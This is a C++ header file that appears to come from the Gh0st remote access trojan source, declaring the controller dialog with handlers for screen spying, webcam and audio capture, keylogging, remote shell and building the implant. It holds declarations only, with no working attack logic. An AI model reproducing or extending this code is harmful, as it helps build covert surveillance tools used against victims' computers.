www.pudn.com > Gh0st.rar > ClientDlg.h, change:2011-03-29,size:3978b


// ClientDlg.h : header file 
// 
 
#if !defined(AFX_CLIENTDLG_H__4CBA9C22_8932_47CE_A114_848BA5B81576__INCLUDED_) 
#define AFX_CLIENTDLG_H__4CBA9C22_8932_47CE_A114_848BA5B81576__INCLUDED_ 
 
#if _MSC_VER > 1000 
#pragma once 
#endif // _MSC_VER > 1000 
#include "SEU_QQwry.h" 
#include "TrayIcon.h" 
#include "IniFile.h" 
#include "ColorEdit.h" 
#include "FileManagerDlg.h" 
#include "CommandBcast.h" 
#include "ServiceDlg.h" 
#include "RegeditDlg.h" 
#include "System.h" 
#include "PluginDlg.h" 
#include "ShareDlg.h" 
#include "ProxyDlg.h" 
 
///////////////////////////////////////////////////////////////////////////// 
// CClientDlg dialog 
 
class CClientDlg : public CDialog 
{ 
// Construction 
public: 
	void SetLogText(CString str,COLORREF clr=RGB(0,0,255)); //日志默认文本颜色是蓝色 
	void SendSelectCommand(PBYTE pData, UINT nSize); 
	void ShowConnectionsNumber(); 
	void ShowToolTips(LPCTSTR lpszText); 
	static void ProcessReceive(ClientContext *pContext); 
	static void ProcessReceiveComplete(ClientContext *pContext); 
	CClientDlg(CWnd* pParent = NULL);	// standard constructor 
    CButton	  m_btn1; 
	CButton	  m_btn2; 
	CButton	  m_btn3; 
	CButton	  m_btn4; 
	CButton	  m_btn5; 
	CButton	  m_btn6; 
	CButton	  m_btn7; 
	CButton   m_btn8; 
	CToolBar       m_wndToolBar; 
	CStatusBarCtrl m_wndStatusBar; 
	CImageList	   m_ToolBarList; 
	BOOL           bActivate; 
	int            m_nOnlineCount; //上线主机数 
	SEU_QQwry      *m_QQwry; 
	CIniFile	   m_IniFile; 
	BYTE	       m_bToken; 
	CFileManagerDlg m_FileManagerDlg; 
	CCommandBcast   m_CommandBcast; 
	CServiceDlg     m_ServiceDlg; 
	CRegeditDlg     m_RegeditDlg; 
	CSystem         m_System; 
	CPluginDlg      m_PluginDlg; 
	CShareDlg       m_ShareDlg; 
	CProxyDlg       m_ProxyDlg; 
 
	ClientContext* m_pContext;//保存当前连接的Context 
	void Activate(UINT nPort, UINT nMaxConnections); 
	static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode); 
 
// Dialog Data 
	//{{AFX_DATA(CClientDlg) 
	enum { IDD = IDD_CLIENT_DIALOG }; 
	CColorEdit	m_log;  //可修改字体颜色的编辑框 
	CComboBox	m_combo1; 
	CComboBox	m_combo2; 
	CTabCtrl	m_TabCtrl; 
	CString	m_edit_connect; 
	CString	m_edit_computer; 
	CString	m_ConnectPass; 
	//}}AFX_DATA 
 
	// ClassWizard generated virtual function overrides 
	//{{AFX_VIRTUAL(CClientDlg) 
	protected: 
	virtual void DoDataExchange(CDataExchange* pDX);	// DDX/DDV support 
	//}}AFX_VIRTUAL 
 
// Implementation 
protected: 
	HICON m_hIcon; 
 
	// Generated message map functions 
	//{{AFX_MSG(CClientDlg) 
	virtual BOOL OnInitDialog(); 
	afx_msg void OnSysCommand(UINT nID, LPARAM lParam); 
	afx_msg void OnPaint(); 
	afx_msg HCURSOR OnQueryDragIcon(); 
	afx_msg LRESULT OnTrayNotification(WPARAM wParam,LPARAM lParam); 
	afx_msg void OnSelchangeTab1(NMHDR* pNMHDR, LRESULT* pResult); 
	afx_msg void OnShow(); 
	afx_msg void OnHide(); 
	afx_msg void OnExit(); 
	afx_msg void OnDestroy(); 
	afx_msg void OnAboutbox(); 
	afx_msg void OnScreenspy(); 
	afx_msg void OnWebcam(); 
	afx_msg void OnAudioListen(); 
	afx_msg void OnKeyboard(); 
	afx_msg void OnRemoteshell(); 
	afx_msg void OnBuild(); 
	afx_msg void OnSettings(); 
	afx_msg void OnUpdate(); 
	afx_msg void OnBtnSave(); 
	afx_msg void OnSystem(); 
	//}}AFX_MSG 
	afx_msg LRESULT OnAddToList(WPARAM, LPARAM); 
	afx_msg LRESULT OnRemoveFromList(WPARAM, LPARAM); 
	afx_msg	LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM); 
	afx_msg	LRESULT	OnOpenWebCamDialog(WPARAM, LPARAM); 
	afx_msg	LRESULT	OnOpenAudioDialog(WPARAM, LPARAM); 
	afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM); 
	afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM); 
	afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM); 
	DECLARE_MESSAGE_MAP() 
		 
private: 
	BOOL m_bInitial; 
	CTrayIcon m_TrayIcon; 
}; 
 
//{{AFX_INSERT_LOCATION}} 
// Microsoft Visual C++ will insert additional declarations immediately before the previous line. 
 
#endif // !defined(AFX_CLIENTDLG_H__4CBA9C22_8932_47CE_A114_848BA5B81576__INCLUDED_)